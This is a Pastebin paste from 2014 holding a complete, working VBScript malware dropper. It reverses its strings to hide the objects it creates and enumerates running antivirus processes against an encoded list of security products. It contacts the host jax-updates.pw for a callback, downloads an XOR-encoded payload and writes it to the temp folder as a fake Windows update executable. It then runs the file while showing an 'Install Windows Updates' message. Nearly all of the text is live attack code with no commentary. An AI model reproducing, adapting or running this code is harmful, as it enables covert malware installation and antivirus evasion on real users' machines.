Advertisement
Kafeine

Shellc

Jun 6th, 2014
541
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. on error resume next:
  2. Set a=CreateObject(StrReverse("tcejbOmetsySeliF.gnitpircS")):
  3. Set x=createobject(StrReverse("PTTHLMX.tfosorciM")):
  4. Set w=CreateObject(StrReverse("llehS.tpircSW")):
  5. Set s=CreateObject(StrReverse("maertS.BDODA")):
  6. k="b75af393686497fa40449c735a88e304":
  7. f="http://abuzuc.jax-updates.pw:4433/forum/torrents/3/AC/7dc49f51e16116534357d5918c33a29a":
  8. clb="http://abuzuc.jax-updates.pw:4433/forum/posting/":al="n,p":av=StrReverse(",rgnmst7k:7,rennacsvhbdraugllub:6,gfcolos:5,tnesolos:5,
  9. ecivresxdraug:4,cvsrgmsr:3,troni:2,23cvspn:1,amgmpt:0,ecivresnimdavas:z,ecivresvas:z,vsniamacra:y,ecivreserawada:x,fpj:w,ecivresft:v,cvsstcp:v,cvswsi:u,cvsfp:t,ecivreswd:s,sca:r,llehsecivreseroc:q,sin:p,van:o,063n:n,tnegadb:m,cvSwFDG:l,23retsohsf:k,dehcs:j,secessm:i,xvrscgva:i,xvrscgva:h,cvsdwgva:h,slrtcsp:g,tshcvscc:f,tnegadmc:e,tsohvscm:d,nrke:c,pva:b,cvstsava:a")
  10. :set wm=GetObject("winMgmts:"):
  11. set ps=wm.ExecQuery(StrReverse(Replace("ssecorP_23niWBMORFB*BTCELES","B"," "))):
  12. for each p1 in ps:ap=InStr(1,AV,":"&Split(p1.Name,".")(0)&",",1):If ap<>0 Then:ap=mid(av,ap-1,1):exit for:else:ap=" ":end if:next:if instr(1,al,ap)<>0 then:x.Open "GET",clb&"1000/"&ap,False:x.Send:else:work=1:end if:if work=1 then:if ap="a" then:pa="Windows-Patch-":else:pa="Windows-":End If:e=pa+"KB788093-x86.exe":t=w.ExpandEnvironmentStrings("%TMP%")&"\"&e:x.Open "GET",f,False:x.Send:s.Type=1:s.Open:s.Write x.responseBody:s.Position=0:Set b=a.CreateTextFile(t):l=len(k):If lenb(x.responseBody)<1024 Then:work=0:End If:If work<>0 Then:For i=0 To lenb(x.responseBody)-1:b.Write chr(ascb(s.Read(1)) xor asc(mid(k,(i mod l)+1,1))):Next:b.Close
  13. :w.Run "cmd /q /c echo Install Windows Updates &(for /l %i in (*) do (cd %tmp% && start "&e&" && exit))",1,1:x.Open "GET",clb&"111/"&ap,False:x.Send:end if:end if
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement